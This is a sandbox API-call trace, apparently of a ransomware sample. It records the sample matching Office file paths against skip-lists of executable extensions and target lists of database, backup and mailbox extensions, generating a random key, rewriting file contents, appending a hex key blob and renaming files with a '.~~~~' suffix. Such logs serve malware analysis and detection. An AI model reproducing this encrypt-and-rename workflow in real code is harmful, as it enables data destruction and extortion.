	[0145.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".mdf") returned 0x0
	[0145.081] lstrlenW (lpString=".BAK") returned 4
	[0145.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".BAK") returned 0x0
	[0145.081] lstrlenW (lpString=".BAC") returned 4
	[0145.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".BAC") returned 0x0
	[0145.081] lstrlenW (lpString=".dbs") returned 4
	[0145.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".dbs") returned 0x0
	[0145.081] lstrlenW (lpString=".vhdx") returned 5
	[0145.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".vhdx") returned 0x0
	[0145.081] lstrlenW (lpString=".NDF") returned 4
	[0145.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".NDF") returned 0x0
	[0145.081] lstrlenW (lpString=".dat") returned 4
	[0145.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".dat") returned 0x0
	[0145.081] lstrlenW (lpString=".DBS") returned 4
	[0145.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".DBS") returned 0x0
	[0145.081] lstrlenW (lpString=".CKP") returned 4
	[0145.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".CKP") returned 0x0
	[0145.081] lstrlenW (lpString=".edb") returned 4
	[0145.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".edb") returned 0x0
	[0145.081] lstrlenW (lpString=".PST") returned 4
	[0145.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".PST") returned 0x0
	[0145.081] lstrlenW (lpString=".dbf") returned 4
	[0145.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".dbf") returned 0x0
	[0145.082] lstrlenW (lpString=".SQL") returned 4
	[0145.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".SQL") returned 0x0
	[0145.082] lstrlenW (lpString=".pst") returned 4
	[0145.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".pst") returned 0x0
	[0145.082] lstrlenW (lpString=".dbv") returned 4
	[0145.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".dbv") returned 0x0
	[0145.082] lstrlenW (lpString=".SDF") returned 4
	[0145.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".SDF") returned 0x0
	[0145.082] lstrlenW (lpString=".dtxs") returned 5
	[0145.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".dtxs") returned 0x0
	[0145.082] lstrlenW (lpString=".db3") returned 4
	[0145.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".db3") returned 0x0
	[0145.082] lstrlenW (lpString=".OST") returned 4
	[0145.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".OST") returned 0x0
	[0145.082] lstrlenW (lpString=".dbx") returned 4
	[0145.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".dbx") returned 0x0
	[0145.082] lstrlenW (lpString=".DB3") returned 4
	[0145.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".DB3") returned 0x0
	[0145.082] lstrlenW (lpString=".DAT") returned 4
	[0145.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".DAT") returned 0x0
	[0145.082] lstrlenW (lpString=".VHDX") returned 5
	[0145.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".VHDX") returned 0x0
	[0145.082] lstrlenW (lpString=".ndf") returned 4
	[0145.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".ndf") returned 0x0
	[0145.083] lstrlenW (lpString=".DB") returned 3
	[0145.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".DB") returned 0x0
	[0145.083] lstrlenW (lpString=".sql") returned 4
	[0145.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".sql") returned 0x0
	[0145.083] lstrlenW (lpString=".MYD") returned 4
	[0145.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".MYD") returned 0x0
	[0145.083] lstrlenW (lpString=".DBT") returned 4
	[0145.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".DBT") returned 0x0
	[0145.083] lstrlenW (lpString=".ACCDB") returned 6
	[0145.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".ACCDB") returned 0x0
	[0145.083] lstrlenW (lpString=".fdb") returned 4
	[0145.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".fdb") returned 0x0
	[0145.083] lstrlenW (lpString=".bak") returned 4
	[0145.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".bak") returned 0x0
	[0145.083] lstrlenW (lpString=".myd") returned 4
	[0145.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".myd") returned 0x0
	[0145.083] lstrlenW (lpString=".DTXS") returned 5
	[0145.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".DTXS") returned 0x0
	[0145.083] lstrlenW (lpString=".ckp") returned 4
	[0145.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".ckp") returned 0x0
	[0145.083] lstrlenW (lpString=".dbt") returned 4
	[0145.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".dbt") returned 0x0
	[0145.083] lstrlenW (lpString=".db") returned 3
	[0145.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".db") returned 0x0
	[0145.083] lstrlenW (lpString=".TXT") returned 4
	[0145.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".TXT") returned 0x0
	[0145.084] lstrlenW (lpString=".MDF") returned 4
	[0145.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".MDF") returned 0x0
	[0145.084] lstrlenW (lpString=".bdb") returned 4
	[0145.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".bdb") returned 0x0
	[0145.084] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.084] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0145.084] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.084] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3956b8) returned 1
	[0145.085] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.085] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0145.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0145.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0145.086] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26507753367) returned 1
	[0145.088] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbfe14e70, dwHighDateTime=0x1d60e1e)) 
	[0145.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0145.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0145.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0145.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37f978
	[0145.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37f978 | out: hHeap=0x300000) returned 1
	[0145.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acda0
	[0145.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870398
	[0145.404] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0145.404] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0145.404] GetLastError () returned 0x0
	[0145.404] GetLastError () returned 0x0
	[0145.404] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0145.405] GetLastError () returned 0x0
	[0145.405] GetLastError () returned 0x0
	[0145.405] ReadFile (in: hFile=0x104, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x26d, lpOverlapped=0x0) returned 1
	[0145.407] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffffd93, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.407] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x26d, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x26d, lpOverlapped=0x0) returned 1
	[0145.407] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0145.407] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.407] WriteFile (in: hFile=0x104, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.408] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.408] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.408] CloseHandle (hObject=0x104) returned 1
	[0145.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870398
	[0145.408] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc.~~~~")) returned 1
	[0145.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2870398 | out: hHeap=0x300000) returned 1
	[0145.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0145.411] GetLastError () returned 0x0
	[0145.412] RtlWakeConditionVariable () returned 0x0
	[0145.412] GetCurrentThreadId () returned 0x9f4
	[0145.412] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".scr") returned 0x0
	[0145.412] lstrlenW (lpString=".cmd") returned 4
	[0145.412] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".cmd") returned 0x0
	[0145.412] lstrlenW (lpString=".dll") returned 4
	[0145.412] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".dll") returned 0x0
	[0145.412] lstrlenW (lpString=".bat") returned 4
	[0145.412] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".bat") returned 0x0
	[0145.412] lstrlenW (lpString=".cpl") returned 4
	[0145.412] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".cpl") returned 0x0
	[0145.412] lstrlenW (lpString=".sys") returned 4
	[0145.412] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".sys") returned 0x0
	[0145.412] lstrlenW (lpString=".msc") returned 4
	[0145.412] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".msc") returned 0x0
	[0145.413] lstrlenW (lpString=".com") returned 4
	[0145.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".com") returned 0x0
	[0145.413] lstrlenW (lpString=".lnk") returned 4
	[0145.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".lnk") returned 0x0
	[0145.413] lstrlenW (lpString=".msp") returned 4
	[0145.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".msp") returned 0x0
	[0145.413] lstrlenW (lpString=".pif") returned 4
	[0145.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".pif") returned 0x0
	[0145.413] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch="msp\r\n.pif") returned 0x0
	[0145.413] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0145.417] lstrlenW (lpString=".sqb") returned 4
	[0145.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".sqb") returned 0x0
	[0145.417] lstrlenW (lpString=".ost") returned 4
	[0145.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".ost") returned 0x0
	[0145.417] lstrlenW (lpString=".txt") returned 4
	[0145.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".txt") returned 0x0
	[0145.417] lstrlenW (lpString=".mdt") returned 4
	[0145.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".mdt") returned 0x0
	[0145.417] lstrlenW (lpString=".BDB") returned 4
	[0145.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".BDB") returned 0x0
	[0145.417] lstrlenW (lpString=".eql") returned 4
	[0145.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".eql") returned 0x0
	[0145.417] lstrlenW (lpString=".DBF") returned 4
	[0145.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".DBF") returned 0x0
	[0145.417] lstrlenW (lpString=".EQL") returned 4
	[0145.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".EQL") returned 0x0
	[0145.418] lstrlenW (lpString=".FDB") returned 4
	[0145.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".FDB") returned 0x0
	[0145.418] lstrlenW (lpString=".EDB") returned 4
	[0145.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".EDB") returned 0x0
	[0145.418] lstrlenW (lpString=".DACPAC") returned 7
	[0145.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".DACPAC") returned 0x0
	[0145.418] lstrlenW (lpString=".VHD") returned 4
	[0145.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".VHD") returned 0x0
	[0145.418] lstrlenW (lpString=".DBV") returned 4
	[0145.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".DBV") returned 0x0
	[0145.418] lstrlenW (lpString=".dacpac") returned 7
	[0145.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".dacpac") returned 0x0
	[0145.418] lstrlenW (lpString=".sdf") returned 4
	[0145.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".sdf") returned 0x0
	[0145.418] lstrlenW (lpString=".accdb") returned 6
	[0145.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".accdb") returned 0x0
	[0145.418] lstrlenW (lpString=".DBX") returned 4
	[0145.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".DBX") returned 0x0
	[0145.418] lstrlenW (lpString=".MDT") returned 4
	[0145.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".MDT") returned 0x0
	[0145.418] lstrlenW (lpString=".SQB") returned 4
	[0145.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".SQB") returned 0x0
	[0145.418] lstrlenW (lpString=".vhd") returned 4
	[0145.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".vhd") returned 0x0
	[0145.418] lstrlenW (lpString=".bac") returned 4
	[0145.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".bac") returned 0x0
	[0145.419] lstrlenW (lpString=".mdf") returned 4
	[0145.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".mdf") returned 0x0
	[0145.419] lstrlenW (lpString=".BAK") returned 4
	[0145.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".BAK") returned 0x0
	[0145.419] lstrlenW (lpString=".BAC") returned 4
	[0145.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".BAC") returned 0x0
	[0145.419] lstrlenW (lpString=".dbs") returned 4
	[0145.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".dbs") returned 0x0
	[0145.419] lstrlenW (lpString=".vhdx") returned 5
	[0145.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".vhdx") returned 0x0
	[0145.419] lstrlenW (lpString=".NDF") returned 4
	[0145.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".NDF") returned 0x0
	[0145.419] lstrlenW (lpString=".dat") returned 4
	[0145.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".dat") returned 0x0
	[0145.419] lstrlenW (lpString=".DBS") returned 4
	[0145.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".DBS") returned 0x0
	[0145.419] lstrlenW (lpString=".CKP") returned 4
	[0145.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".CKP") returned 0x0
	[0145.419] lstrlenW (lpString=".edb") returned 4
	[0145.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".edb") returned 0x0
	[0145.419] lstrlenW (lpString=".PST") returned 4
	[0145.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".PST") returned 0x0
	[0145.420] lstrlenW (lpString=".dbf") returned 4
	[0145.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".dbf") returned 0x0
	[0145.420] lstrlenW (lpString=".SQL") returned 4
	[0145.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".SQL") returned 0x0
	[0145.420] lstrlenW (lpString=".pst") returned 4
	[0145.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".pst") returned 0x0
	[0145.420] lstrlenW (lpString=".dbv") returned 4
	[0145.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".dbv") returned 0x0
	[0145.420] lstrlenW (lpString=".SDF") returned 4
	[0145.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".SDF") returned 0x0
	[0145.420] lstrlenW (lpString=".dtxs") returned 5
	[0145.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".dtxs") returned 0x0
	[0145.420] lstrlenW (lpString=".db3") returned 4
	[0145.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".db3") returned 0x0
	[0145.420] lstrlenW (lpString=".OST") returned 4
	[0145.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".OST") returned 0x0
	[0145.420] lstrlenW (lpString=".dbx") returned 4
	[0145.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".dbx") returned 0x0
	[0145.420] lstrlenW (lpString=".DB3") returned 4
	[0145.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".DB3") returned 0x0
	[0145.420] lstrlenW (lpString=".DAT") returned 4
	[0145.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".DAT") returned 0x0
	[0145.420] lstrlenW (lpString=".VHDX") returned 5
	[0145.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".VHDX") returned 0x0
	[0145.421] lstrlenW (lpString=".ndf") returned 4
	[0145.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".ndf") returned 0x0
	[0145.421] lstrlenW (lpString=".DB") returned 3
	[0145.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".DB") returned 0x0
	[0145.421] lstrlenW (lpString=".sql") returned 4
	[0145.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".sql") returned 0x0
	[0145.421] lstrlenW (lpString=".MYD") returned 4
